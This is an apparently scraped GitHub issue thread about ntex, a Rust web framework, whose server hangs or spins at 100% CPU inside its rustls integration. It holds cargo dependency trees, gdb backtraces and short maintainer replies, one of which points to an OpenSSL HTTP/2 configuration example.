│ │ │ │ ├── memchr v2.6.4
│ │ │ │ └── regex-syntax v0.8.2
│ │ │ └── regex-syntax v0.8.2
│ │ └── serde v1.0.193 (*)
│ ├── ntex-rt v0.4.11 (*)
│ ├── ntex-service v1.2.7 (*)
│ ├── ntex-tls v0.3.3 (*)
│ ├── ntex-tokio v0.3.1 (*)
│ ├── ntex-util v0.3.4 (*)
│ ├── oneshot v0.1.6
│ ├── percent-encoding v2.3.1
│ ├── pin-project-lite v0.2.13
│ ├── polling v3.3.1
│ │ ├── cfg-if v1.0.0
│ │ ├── rustix v0.38.26
│ │ │ ├── bitflags v2.4.1
│ │ │ └── linux-raw-sys v0.4.12
│ │ └── tracing v0.1.40
│ │ ├── pin-project-lite v0.2.13
│ │ └── tracing-core v0.1.32
│ │ └── once_cell v1.18.0
│ ├── regex v1.10.2 (*)
│ ├── rustls v0.21.9 (*)
│ ├── serde v1.0.193 (*)
│ ├── serde_json v1.0.108
│ │ ├── itoa v1.0.9
│ │ ├── ryu v1.0.15
│ │ └── serde v1.0.193 (*)
│ ├── serde_urlencoded v0.7.1
│ │ ├── form_urlencoded v1.2.1
│ │ │ └── percent-encoding v2.3.1
│ │ ├── itoa v1.0.9
│ │ ├── ryu v1.0.15
│ │ └── serde v1.0.193 (*)
│ ├── sha-1 v0.10.1
│ │ ├── cfg-if v1.0.0
│ │ ├── cpufeatures v0.2.11
│ │ └── digest v0.10.7
│ │ ├── block-buffer v0.10.4
│ │ │ └── generic-array v0.14.7 (*)
│ │ └── crypto-common v0.1.6 (*)
│ ├── socket2 v0.5.5 (*)
│ ├── thiserror v1.0.50 (*)
│ └── webpki-roots v0.25.3
├── clia-ntex-files v0.3.0
│ ├── bitflags v2.4.1
│ ├── derive_more v0.99.17 (proc-macro) (*)
│ ├── futures v0.3.29 (*)
│ ├── http v0.2.11 (*)
│ ├── httpdate v1.0.3
│ ├── language-tags v0.3.2
│ ├── log v0.4.20
│ ├── mime v0.3.17
│ ├── mime_guess v2.0.4
│ │ ├── mime v0.3.17
│ │ └── unicase v2.7.0
│ │ [build-dependencies]
│ │ └── version_check v0.9.4
│ │ [build-dependencies]
│ │ └── unicase v2.7.0 (*)
│ ├── ntex v0.7.13 (*)
│ ├── ntex-http v0.1.11 (*)
│ ├── percent-encoding v2.3.1
│ ├── unicase v2.7.0 (*)
│ └── v_htmlescape v0.15.8
├── data-rw v1.6.4
│ ├── anyhow v1.0.75
│ ├── auto_impl v1.1.0 (proc-macro)
│ │ ├── proc-macro-error v1.0.4
│ │ │ ├── proc-macro-error-attr v1.0.4 (proc-macro)
│ │ │ │ ├── proc-macro2 v1.0.70 (*)
│ │ │ │ └── quote v1.0.33 (*)
│ │ │ │ [build-dependencies]
│ │ │ │ └── version_check v0.9.4
│ │ │ ├── proc-macro2 v1.0.70 (*)
│ │ │ ├── quote v1.0.33 (*)
│ │ │ └── syn v1.0.109 (*)
│ │ │ [build-dependencies]
│ │ │ └── version_check v0.9.4
│ │ ├── proc-macro2 v1.0.70 (*)
│ │ ├── quote v1.0.33 (*)
│ │ └── syn v1.0.109 (*)
│ ├── cfg-if v1.0.0
│ ├── paste v1.0.14 (proc-macro)
│ ├── rmp-serde v1.1.2
│ │ ├── byteorder v1.5.0
│ │ ├── rmp v0.8.12
│ │ │ ├── byteorder v1.5.0
│ │ │ ├── num-traits v0.2.17
│ │ │ │ [build-dependencies]
│ │ │ │ └── autocfg v1.1.0
│ │ │ └── paste v1.0.14 (proc-macro)
│ │ └── serde v1.0.193 (*)
│ └── serde v1.0.193 (*)
├── dlib-face-recognition v0.3.0 (/root/face_https_server/dlib-face-recognition)
│ ├── bzip2 v0.4.4
│ │ ├── bzip2-sys v0.1.11+1.0.8
│ │ │ └── libc v0.2.150
│ │ │ [build-dependencies]
│ │ │ ├── cc v1.0.83 (*)
│ │ │ └── pkg-config v0.3.27
│ │ └── libc v0.2.150
│ ├── cpp v0.5.9
│ │ └── cpp_macros v0.5.9 (proc-macro)
│ │ ├── aho-corasick v1.1.2 (*)
│ │ ├── byteorder v1.5.0
│ │ ├── cpp_common v0.5.9
│ │ │ ├── lazy_static v1.4.0
│ │ │ ├── proc-macro2 v1.0.70 (*)
│ │ │ └── syn v2.0.39 (*)
│ │ ├── lazy_static v1.4.0
│ │ ├── proc-macro2 v1.0.70 (*)
│ │ ├── quote v1.0.33 (*)
│ │ └── syn v2.0.39 (*)
│ ├── dlib-face-recognition-sys v19.24.0-rc.1 (/root/face_https_server/dlib-face-recognition/sys)
│ │ [build-dependencies]
│ │ ├── cmake v0.1.50
│ │ │ └── cc v1.0.83 (*)
│ │ ├── fs_extra v1.3.0
│ │ ├── glob v0.3.1
│ │ ├── pkg-config v0.3.27
│ │ ├── reqwest v0.11.22
│ │ │ ├── base64 v0.21.5
│ │ │ ├── bytes v1.5.0
│ │ │ ├── encoding_rs v0.8.33 (*)
│ │ │ ├── futures-core v0.3.29
│ │ │ ├── futures-util v0.3.29
│ │ │ │ ├── futures-core v0.3.29
│ │ │ │ ├── futures-io v0.3.29
│ │ │ │ ├── futures-task v0.3.29
│ │ │ │ ├── memchr v2.6.4
│ │ │ │ ├── pin-project-lite v0.2.13
│ │ │ │ ├── pin-utils v0.1.0
│ │ │ │ └── slab v0.4.9 (*)
│ │ │ ├── h2 v0.3.22
│ │ │ │ ├── bytes v1.5.0
│ │ │ │ ├── fnv v1.0.7
│ │ │ │ ├── futures-core v0.3.29
│ │ │ │ ├── futures-sink v0.3.29
│ │ │ │ ├── futures-util v0.3.29 (*)
│ │ │ │ ├── http v0.2.11 (*)
│ │ │ │ ├── indexmap v2.1.0
│ │ │ │ │ ├── equivalent v1.0.1
│ │ │ │ │ └── hashbrown v0.14.3
│ │ │ │ ├── slab v0.4.9 (*)
│ │ │ │ ├── tokio v1.34.0
│ │ │ │ │ ├── bytes v1.5.0
│ │ │ │ │ ├── libc v0.2.150
│ │ │ │ │ ├── mio v0.8.9 (*)
│ │ │ │ │ ├── num_cpus v1.16.0 (*)
│ │ │ │ │ ├── pin-project-lite v0.2.13
│ │ │ │ │ └── socket2 v0.5.5 (*)
│ │ │ │ ├── tokio-util v0.7.10
│ │ │ │ │ ├── bytes v1.5.0
│ │ │ │ │ ├── futures-core v0.3.29
│ │ │ │ │ ├── futures-sink v0.3.29
│ │ │ │ │ ├── pin-project-lite v0.2.13
│ │ │ │ │ ├── tokio v1.34.0 (*)
│ │ │ │ │ └── tracing v0.1.40 (*)
│ │ │ │ └── tracing v0.1.40 (*)
│ │ │ ├── http v0.2.11 (*)
│ │ │ ├── http-body v0.4.5
│ │ │ │ ├── bytes v1.5.0
│ │ │ │ ├── http v0.2.11 (*)
│ │ │ │ └── pin-project-lite v0.2.13
│ │ │ ├── hyper v0.14.27
│ │ │ │ ├── bytes v1.5.0
│ │ │ │ ├── futures-channel v0.3.29
│ │ │ │ │ └── futures-core v0.3.29
│ │ │ │ ├── futures-core v0.3.29
│ │ │ │ ├── futures-util v0.3.29 (*)
│ │ │ │ ├── h2 v0.3.22 (*)
│ │ │ │ ├── http v0.2.11 (*)
│ │ │ │ ├── http-body v0.4.5 (*)
│ │ │ │ ├── httparse v1.8.0
│ │ │ │ ├── httpdate v1.0.3
│ │ │ │ ├── itoa v1.0.9
│ │ │ │ ├── pin-project-lite v0.2.13
│ │ │ │ ├── socket2 v0.4.10
│ │ │ │ │ └── libc v0.2.150
│ │ │ │ ├── tokio v1.34.0 (*)
│ │ │ │ ├── tower-service v0.3.2
│ │ │ │ ├── tracing v0.1.40 (*)
│ │ │ │ └── want v0.3.1
│ │ │ │ └── try-lock v0.2.4
│ │ │ ├── hyper-tls v0.5.0
│ │ │ │ ├── bytes v1.5.0
│ │ │ │ ├── hyper v0.14.27 (*)
│ │ │ │ ├── native-tls v0.2.11
│ │ │ │ │ ├── log v0.4.20
│ │ │ │ │ ├── openssl v0.10.61
│ │ │ │ │ │ ├── bitflags v2.4.1
│ │ │ │ │ │ ├── cfg-if v1.0.0
│ │ │ │ │ │ ├── foreign-types v0.3.2
│ │ │ │ │ │ │ └── foreign-types-shared v0.1.1
│ │ │ │ │ │ ├── libc v0.2.150
│ │ │ │ │ │ ├── once_cell v1.18.0
│ │ │ │ │ │ ├── openssl-macros v0.1.1 (proc-macro)
│ │ │ │ │ │ │ ├── proc-macro2 v1.0.70 (*)
│ │ │ │ │ │ │ ├── quote v1.0.33 (*)
│ │ │ │ │ │ │ └── syn v2.0.39 (*)
│ │ │ │ │ │ └── openssl-sys v0.9.97
│ │ │ │ │ │ └── libc v0.2.150
│ │ │ │ │ │ [build-dependencies]
│ │ │ │ │ │ ├── cc v1.0.83 (*)
│ │ │ │ │ │ ├── pkg-config v0.3.27
│ │ │ │ │ │ └── vcpkg v0.2.15
│ │ │ │ │ ├── openssl-probe v0.1.5
│ │ │ │ │ └── openssl-sys v0.9.97 (*)
│ │ │ │ ├── tokio v1.34.0 (*)
│ │ │ │ └── tokio-native-tls v0.3.1
│ │ │ │ ├── native-tls v0.2.11 (*)
│ │ │ │ └── tokio v1.34.0 (*)
│ │ │ ├── ipnet v2.9.0
│ │ │ ├── log v0.4.20
│ │ │ ├── mime v0.3.17
│ │ │ ├── native-tls v0.2.11 (*)
│ │ │ ├── once_cell v1.18.0
│ │ │ ├── percent-encoding v2.3.1
│ │ │ ├── pin-project-lite v0.2.13
│ │ │ ├── serde v1.0.193
│ │ │ ├── serde_urlencoded v0.7.1 (*)
│ │ │ ├── tokio v1.34.0 (*)
│ │ │ ├── tokio-native-tls v0.3.1 (*)
│ │ │ ├── tower-service v0.3.2
│ │ │ └── url v2.5.0
│ │ │ ├── form_urlencoded v1.2.1 (*)
│ │ │ ├── idna v0.5.0
│ │ │ │ ├── unicode-bidi v0.3.13
│ │ │ │ └── unicode-normalization v0.1.22
│ │ │ │ └── tinyvec v1.6.0
│ │ │ │ └── tinyvec_macros v0.1.1
│ │ │ └── percent-encoding v2.3.1
│ │ └── zip v0.5.13
│ │ ├── byteorder v1.5.0
│ │ ├── bzip2 v0.4.4 (*)
│ │ ├── crc32fast v1.3.2 (*)
│ │ ├── flate2 v1.0.28
│ │ │ ├── crc32fast v1.3.2 (*)
│ │ │ └── miniz_oxide v0.7.1
│ │ │ └── adler v1.0.2
│ │ ├── thiserror v1.0.50 (*)
│ │ └── time v0.1.45
│ │ └── libc v0.2.150
│ ├── image v0.24.7
│ │ ├── bytemuck v1.14.0
│ │ ├── byteorder v1.5.0
│ │ ├── color_quant v1.1.0
│ │ ├── exr v1.71.0
│ │ │ ├── bit_field v0.10.2
│ │ │ ├── flume v0.11.0
│ │ │ │ └── spin v0.9.8 (*)
│ │ │ ├── half v2.2.1
│ │ │ ├── lebe v0.5.2
│ │ │ ├── miniz_oxide v0.7.1 (*)
│ │ │ ├── rayon-core v1.12.0
│ │ │ │ ├── crossbeam-deque v0.8.3
│ │ │ │ │ ├── cfg-if v1.0.0
│ │ │ │ │ ├── crossbeam-epoch v0.9.15
│ │ │ │ │ │ ├── cfg-if v1.0.0
│ │ │ │ │ │ ├── crossbeam-utils v0.8.16 (*)
│ │ │ │ │ │ ├── memoffset v0.9.0
│ │ │ │ │ │ │ [build-dependencies]
│ │ │ │ │ │ │ └── autocfg v1.1.0
│ │ │ │ │ │ └── scopeguard v1.2.0
│ │ │ │ │ │ [build-dependencies]
│ │ │ │ │ │ └── autocfg v1.1.0
│ │ │ │ │ └── crossbeam-utils v0.8.16 (*)
│ │ │ │ └── crossbeam-utils v0.8.16 (*)
│ │ │ ├── smallvec v1.11.2
│ │ │ └── zune-inflate v0.2.54
│ │ │ └── simd-adler32 v0.3.7
│ │ ├── gif v0.12.0
│ │ │ ├── color_quant v1.1.0
│ │ │ └── weezl v0.1.7
│ │ ├── jpeg-decoder v0.3.0
│ │ │ └── rayon v1.8.0
│ │ │ ├── either v1.9.0
│ │ │ └── rayon-core v1.12.0 (*)
│ │ ├── num-rational v0.4.1
│ │ │ ├── num-integer v0.1.45
│ │ │ │ └── num-traits v0.2.17 (*)
│ │ │ │ [build-dependencies]
│ │ │ │ └── autocfg v1.1.0
│ │ │ └── num-traits v0.2.17 (*)
│ │ │ [build-dependencies]
│ │ │ └── autocfg v1.1.0
│ │ ├── num-traits v0.2.17 (*)
│ │ ├── png v0.17.10
│ │ │ ├── bitflags v1.3.2
│ │ │ ├── crc32fast v1.3.2 (*)
│ │ │ ├── fdeflate v0.3.1
│ │ │ │ └── simd-adler32 v0.3.7
│ │ │ ├── flate2 v1.0.28 (*)
│ │ │ └── miniz_oxide v0.7.1 (*)
│ │ ├── qoi v0.4.1
│ │ │ └── bytemuck v1.14.0
│ │ └── tiff v0.9.0
│ │ ├── flate2 v1.0.28 (*)
│ │ ├── jpeg-decoder v0.3.0 (*)
│ │ └── weezl v0.1.7
│ └── reqwest v0.11.22 (*)
│ [build-dependencies]
│ └── cpp_build v0.5.9
│ ├── cc v1.0.83 (*)
│ ├── cpp_common v0.5.9 (*)
│ ├── lazy_static v1.4.0
│ ├── proc-macro2 v1.0.70 (*)
│ ├── regex v1.10.2 (*)
│ ├── syn v2.0.39 (*)
│ └── unicode-xid v0.2.4
├── flexi_logger v0.25.6
│ ├── chrono v0.4.31
│ │ ├── iana-time-zone v0.1.58
│ │ └── num-traits v0.2.17 (*)
│ ├── crossbeam-channel v0.5.8
│ │ ├── cfg-if v1.0.0
│ │ └── crossbeam-utils v0.8.16 (*)
│ ├── crossbeam-queue v0.3.8
│ │ ├── cfg-if v1.0.0
│ │ └── crossbeam-utils v0.8.16 (*)
│ ├── glob v0.3.1
│ ├── is-terminal v0.4.9
│ │ └── rustix v0.38.26 (*)
│ ├── lazy_static v1.4.0
│ ├── log v0.4.20
│ ├── nu-ansi-term v0.49.0
│ ├── regex v1.10.2 (*)
│ └── thiserror v1.0.50 (*)
├── futures v0.3.29 (*)
├── image v0.24.7 (*)
├── lazy_static v1.4.0
├── log v0.4.20
├── ntex v0.7.13 (*)
├── rustls v0.21.9 (*)
├── rustls-pemfile v1.0.4
│ └── base64 v0.21.5
├── serde v1.0.193 (*)
├── serde_json v1.0.108 (*)
└── tokio v1.34.0 (*)
[build-dependencies]
├── anyhow v1.0.75
└── vergen v8.1.3
├── anyhow v1.0.75
├── rustc_version v0.4.0 (*)
├── sysinfo v0.28.4
│ ├── cfg-if v1.0.0
│ ├── libc v0.2.150
│ └── once_cell v1.18.0
└── time v0.3.30
├── deranged v0.3.10
│ └── powerfmt v0.2.0
├── itoa v1.0.9
├── powerfmt v0.2.0
└── time-core v0.1.2
[build-dependencies]
└── rustversion v1.0.14 (proc-macro)current ntex-io version is 0.3.13,i will upgrade to 0.3.16 to continue testing. hope it will be helpful to you
@fafhrd91
clia
commented
8 months ago I got a new blocking problem. The versions:
root@61d25de9f412:~/github.com/clia/blog-server# cargo tree | grep ntex
├── clia-ntex-files-mod v0.3.0
│ ├── ntex v0.7.16
│ │ ├── ntex-bytes v0.1.21
│ │ ├── ntex-codec v0.6.2
│ │ │ └── ntex-bytes v0.1.21 (*)
│ │ ├── ntex-connect v0.3.4
│ │ │ ├── ntex-bytes v0.1.21 (*)
│ │ │ ├── ntex-http v0.1.11
│ │ │ │ ├── ntex-bytes v0.1.21 (*)
│ │ │ ├── ntex-io v0.3.16
│ │ │ │ ├── ntex-bytes v0.1.21 (*)
│ │ │ │ ├── ntex-codec v0.6.2 (*)
│ │ │ │ ├── ntex-service v1.2.7
│ │ │ │ ├── ntex-util v0.3.4
│ │ │ │ │ ├── ntex-rt v0.4.11
│ │ │ │ │ ├── ntex-service v1.2.7 (*)
│ │ │ ├── ntex-rt v0.4.11 (*)
│ │ │ ├── ntex-service v1.2.7 (*)
│ │ │ ├── ntex-tls v0.3.3
│ │ │ │ ├── ntex-bytes v0.1.21 (*)
│ │ │ │ ├── ntex-io v0.3.16 (*)
│ │ │ │ ├── ntex-service v1.2.7 (*)
│ │ │ │ ├── ntex-util v0.3.4 (*)
│ │ │ ├── ntex-tokio v0.3.1
│ │ │ │ ├── ntex-bytes v0.1.21 (*)
│ │ │ │ ├── ntex-io v0.3.16 (*)
│ │ │ │ ├── ntex-util v0.3.4 (*)
│ │ │ ├── ntex-util v0.3.4 (*)
│ │ ├── ntex-h2 v0.4.4
│ │ │ ├── ntex-bytes v0.1.21 (*)
│ │ │ ├── ntex-codec v0.6.2 (*)
│ │ │ ├── ntex-connect v0.3.4 (*)
│ │ │ ├── ntex-http v0.1.11 (*)
│ │ │ ├── ntex-io v0.3.16 (*)
│ │ │ ├── ntex-rt v0.4.11 (*)
│ │ │ ├── ntex-service v1.2.7 (*)
│ │ │ ├── ntex-util v0.3.4 (*)
│ │ ├── ntex-http v0.1.11 (*)
│ │ ├── ntex-io v0.3.16 (*)
│ │ ├── ntex-macros v0.1.3 (proc-macro)
│ │ ├── ntex-router v0.5.2
│ │ │ ├── ntex-bytes v0.1.21 (*)
│ │ ├── ntex-rt v0.4.11 (*)
│ │ ├── ntex-service v1.2.7 (*)
│ │ ├── ntex-tls v0.3.3 (*)
│ │ ├── ntex-tokio v0.3.1 (*)
│ │ ├── ntex-util v0.3.4 (*)
│ ├── ntex-http v0.1.11 (*)
├── clia-ntex-session v0.3.0
│ ├── ntex v0.7.16 (*)
│ ├── clia-ntex-files-mod v0.3.0 (*)
│ ├── clia-ntex-session v0.3.0 (*)
│ ├── ntex v0.7.16 (*)
│ └── ntex v0.7.16 (*)
├── ntex v0.7.16 (*)
root@61d25de9f412:~/github.com/clia/blog-server# cargo tree | grep rustls
│ ├── rustls v0.19.1
│ │ │ │ └── rustls v0.21.10
│ │ │ │ ├── rustls-webpki v0.101.7
│ │ │ ├── rustls v0.21.10 (*)
│ │ ├── rustls v0.21.10 (*)
│ ├── rustls v0.21.10 (*)
│ ├── rustls-pemfile v1.0.4
├── rustls v0.21.10 (*)
├── rustls-pemfile v1.0.4 (*)
│ ├── rustls-pemfile v2.0.0
│ │ └── rustls-pki-types v1.0.1
│ ├── tokio-rustls v0.25.0
│ │ ├── rustls v0.22.1
│ │ │ ├── rustls-pki-types v1.0.1
│ │ │ ├── rustls-webpki v0.102.0
│ │ │ │ ├── rustls-pki-types v1.0.1
│ │ ├── rustls-pki-types v1.0.1The gdb backtraces:
(gdb) thread apply all bt
Thread 4 (Thread 0x7f14d0d91640 (LWP 1263) "futures-timer"):
#0 syscall () at ../sysdeps/unix/sysv/linux/x86_64/syscall.S:38
#1 0x0000558652ff8b14 in std::sys::unix::futex::futex_wait () at library/std/src/sys/unix/futex.rs:62
#2 0x0000558652fe9efc in std::sys_common::thread_parking::futex::Parker::park_timeout () at library/std/src/sys_common/thread_parking/futex.rs:72
#3 std::thread::park_timeout () at library/std/src/thread/mod.rs:1055
#4 0x0000558652fcaf0a in futures_timer::native::global::run ()
#5 0x0000558652fc9a42 in _ZN3std10sys_common9backtrace28__rust_begin_short_backtrace17he42eaee26e9495c7E.llvm.16274683731236015848 ()
#6 0x0000558652fc922e in core::ops::function::FnOnce::call_once{{vtable.shim}} ()
#7 0x0000558652ff9ca5 in alloc::boxed::{impl#47}::call_once<(), dyn core::ops::function::FnOnce<(), Output=()>, alloc::alloc::Global> () at library/alloc/src/boxed.rs:1993
#8 alloc::boxed::{impl#47}::call_once<(), alloc::boxed::Box<dyn core::ops::function::FnOnce<(), Output=()>, alloc::alloc::Global>, alloc::alloc::Global> () at library/alloc/src/boxed.rs:1993
#9 std::sys::unix::thread::{impl#2}::new::thread_start () at library/std/src/sys/unix/thread.rs:108
#10 0x00007f14d181dac3 in start_thread (arg=<optimized out>) at ./nptl/pthread_create.c:442
#11 0x00007f14d18af660 in clone3 () at ../sysdeps/unix/sysv/linux/x86_64/clone3.S:81
Thread 3 (Thread 0x7f14d0f95640 (LWP 1130) "ntex-server acc"):
#0 0x0000558652e67c6e in polling::epoll::Poller::wait ()
#1 0x0000558652e6a49b in polling::Poller::wait ()
#2 0x0000558652d5a91d in ntex::server::accept::Accept::poll ()
#3 0x0000558652d36ef8 in std::sys_common::backtrace::__rust_begin_short_backtrace ()
#4 0x0000558652d496b2 in core::ops::function::FnOnce::call_once{{vtable.shim}} ()
#5 0x0000558652ff9ca5 in alloc::boxed::{impl#47}::call_once<(), dyn core::ops::function::FnOnce<(), Output=()>, alloc::alloc::Global> () at library/alloc/src/boxed.rs:1993
#6 alloc::boxed::{impl#47}::call_once<(), alloc::boxed::Box<dyn core::ops::function::FnOnce<(), Output=()>, alloc::alloc::Global>, alloc::alloc::Global> () at library/alloc/src/boxed.rs:1993
#7 std::sys::unix::thread::{impl#2}::new::thread_start () at library/std/src/sys/unix/thread.rs:108
#8 0x00007f14d181dac3 in start_thread (arg=<optimized out>) at ./nptl/pthread_create.c:442
#9 0x00007f14d18af660 in clone3 () at ../sysdeps/unix/sysv/linux/x86_64/clone3.S:81
Thread 2 (Thread 0x7f14d1199640 (LWP 1129) "ntex-rt:worker:"):
#0 0x0000558652b1fe95 in rustls::conn::ConnectionCommon<Data>::complete_io ()
#1 0x0000558652aa17fe in ntex_io::buf::Stack::write_buf::{{closure}} ()
#2 0x0000558652aa07ee in ntex_io::buf::Stack::get_buffers ()
#3 0x0000558652adb439 in <ntex_util::time::Timeout<T> as core::future::future::Future>::poll ()
#4 0x0000558652a81c8b in _ZN81_$LT$ntex_tls..rustls..TlsAcceptor$u20$as$u20$ntex_io..FilterFactory$LT$F$GT$$GT$6create28_$u7b$$u7b$closure$u7d$$u7d$17hd1ce7b928940c82dE.llvm.4459778494269389012 ()
#5 0x0000558652b13797 in <ntex_service::ctx::ServiceCall<S,Req> as core::future::future::Future>::poll ()
#6 0x0000558652b133ee in <ntex_service::ctx::ServiceCall<S,Req> as core::future::future::Future>::poll ()
#7 0x0000558652b0400d in <ntex_service::and_then::AndThenServiceResponse<A,B,Req> as core::future::future::Future>::poll ()
#8 0x0000558652b1493a in <ntex_service::ctx::ServiceCall<S,Req> as core::future::future::Future>::poll ()
#9 0x0000558652aa5c42 in <ntex::server::service::StreamService<T> as ntex_service::Service<(core::option::Option<ntex::server::counter::CounterGuard>,ntex::server::service::ServerMessage)>>::call::{{closure}} ()
#10 0x0000558652d34581 in <ntex_service::pipeline::PipelineCall<S,R> as core::future::future::Future>::poll ()
#11 0x0000558652d2fc17 in tokio::runtime::task::core::Core<T,S>::poll ()
#12 0x0000558652d75852 in tokio::runtime::task::harness::Harness<T,S>::poll ()
#13 0x0000558652fb020b in tokio::task::local::LocalSet::tick ()
#14 0x0000558652f8e0a0 in <tokio::task::local::RunUntil<T> as core::future::future::Future>::poll ()
#15 0x0000558652f86529 in <core::pin::Pin<P> as core::future::future::Future>::poll ()
#16 0x0000558652f95cf7 in tokio::runtime::scheduler::current_thread::Context::enter ()
#17 0x0000558652f92150 in tokio::runtime::context::scoped::Scoped<T>::set ()
#18 0x0000558652f97115 in tokio::runtime::context::set_scheduler ()
#19 0x0000558652f960ea in tokio::runtime::scheduler::current_thread::CoreGuard::block_on ()
#20 0x0000558652f8bc76 in tokio::runtime::context::runtime::enter_runtime ()
#21 0x0000558652f9991f in tokio::runtime::runtime::Runtime::block_on ()
#22 0x0000558652f93577 in ntex_rt::tokio::block_on ()
#23 0x0000558652f90465 in std::sys_common::backtrace::__rust_begin_short_backtrace ()
#24 0x0000558652f90ab8 in core::ops::function::FnOnce::call_once{{vtable.shim}} ()
#25 0x0000558652ff9ca5 in alloc::boxed::{impl#47}::call_once<(), dyn core::ops::function::FnOnce<(), Output=()>, alloc::alloc::Global> () at library/alloc/src/boxed.rs:1993
#26 alloc::boxed::{impl#47}::call_once<(), alloc::boxed::Box<dyn core::ops::function::FnOnce<(), Output=()>, alloc::alloc::Global>, alloc::alloc::Global> () at library/alloc/src/boxed.rs:1993
#27 std::sys::unix::thread::{impl#2}::new::thread_start () at library/std/src/sys/unix/thread.rs:108
#28 0x00007f14d181dac3 in start_thread (arg=<optimized out>) at ./nptl/pthread_create.c:442
#29 0x00007f14d18af660 in clone3 () at ../sysdeps/unix/sysv/linux/x86_64/clone3.S:81
--Type <RET> for more, q to quit, c to continue without paging--c
Thread 1 (Thread 0x7f14d1784c80 (LWP 1126) "blog-server"):
#0 0x00007f14d18aec3e in epoll_wait (epfd=3, events=0x558655399b60, maxevents=1024, timeout=-1) at ../sysdeps/unix/sysv/linux/epoll_wait.c:30
#1 0x0000558652fc364e in mio::sys::unix::selector::epoll::Selector::select ()
#2 0x0000558652fb2404 in _ZN5tokio7runtime2io6driver6Driver4turn17h33a90124619bb9e8E.llvm.15368327532848246403 ()
#3 0x0000558652fb3aad in _ZN5tokio7runtime4time6Driver13park_internal17h8fcd26aeb810800bE.llvm.12166240592461798796 ()
#4 0x0000558652fa15cc in tokio::runtime::scheduler::current_thread::Context::park ()
#5 0x0000558652a90bfc in tokio::runtime::context::scoped::Scoped<T>::set ()
#6 0x0000558652ada1d8 in tokio::runtime::context::set_scheduler ()
#7 0x0000558652a7eeaa in tokio::runtime::scheduler::current_thread::CoreGuard::block_on ()
#8 0x0000558652b0aeb7 in tokio::runtime::context::runtime::enter_runtime ()
#9 0x0000558652b0b135 in tokio::runtime::runtime::Runtime::block_on ()
#10 0x0000558652b03dd9 in ntex_rt::tokio::block_on ()
#11 0x0000558652aa2413 in blog_server::main ()
#12 0x0000558652b1aa53 in std::sys_common::backtrace::__rust_begin_short_backtrace ()
#13 0x0000558652b1b269 in _ZN3std2rt10lang_start28_$u7b$$u7b$closure$u7d$$u7d$17h70371851d734dac6E.llvm.4502820514158395797 ()
#14 0x0000558652fe97eb in core::ops::function::impls::{impl#2}::call_once<(), (dyn core::ops::function::Fn<(), Output=i32> + core::marker::Sync + core::panic::unwind_safe::RefUnwindSafe)> () at library/core/src/ops/function.rs:284
#15 std::panicking::try::do_call<&(dyn core::ops::function::Fn<(), Output=i32> + core::marker::Sync + core::panic::unwind_safe::RefUnwindSafe), i32> () at library/std/src/panicking.rs:500
#16 std::panicking::try<i32, &(dyn core::ops::function::Fn<(), Output=i32> + core::marker::Sync + core::panic::unwind_safe::RefUnwindSafe)> () at library/std/src/panicking.rs:464
#17 std::panic::catch_unwind<&(dyn core::ops::function::Fn<(), Output=i32> + core::marker::Sync + core::panic::unwind_safe::RefUnwindSafe), i32> () at library/std/src/panic.rs:142
#18 std::rt::lang_start_internal::{closure#2} () at library/std/src/rt.rs:148
#19 std::panicking::try::do_call<std::rt::lang_start_internal::{closure_env#2}, isize> () at library/std/src/panicking.rs:500
#20 std::panicking::try<isize, std::rt::lang_start_internal::{closure_env#2}> () at library/std/src/panicking.rs:464
#21 std::panic::catch_unwind<std::rt::lang_start_internal::{closure_env#2}, isize> () at library/std/src/panic.rs:142
#22 std::rt::lang_start_internal () at library/std/src/rt.rs:148
#23 0x0000558652aa2565 in main ()don't use ntex rustls integration, it is completely broken and needs to be rewritten.
luyikk
commented
8 months ago don't use ntex rustls integration, it is completely broken and needs to be rewritten.
How can I support the HTTP/2 protocol when using OpenSSL?
fafhrd91
commented
8 months ago How can I support the HTTP/2 protocol when using OpenSSL?
here is example of configuration https://github.com/ntex-rs/ntex/blob/90cdab9c2aa74b2ca645c7f507da3ad28d16a910/ntex/tests/http_openssl.rs#L34
fafhrd91
commented
6 months ago master should work properly
I run a simple web server, on a single core cloud vps, using ntex version 0.5.27. The server OS is Ubuntu 22.04. It suddenly run into CPU 100%. I opened the trace log on, and it outputs these messages on the time it happens:
My
cargo treeoutputs: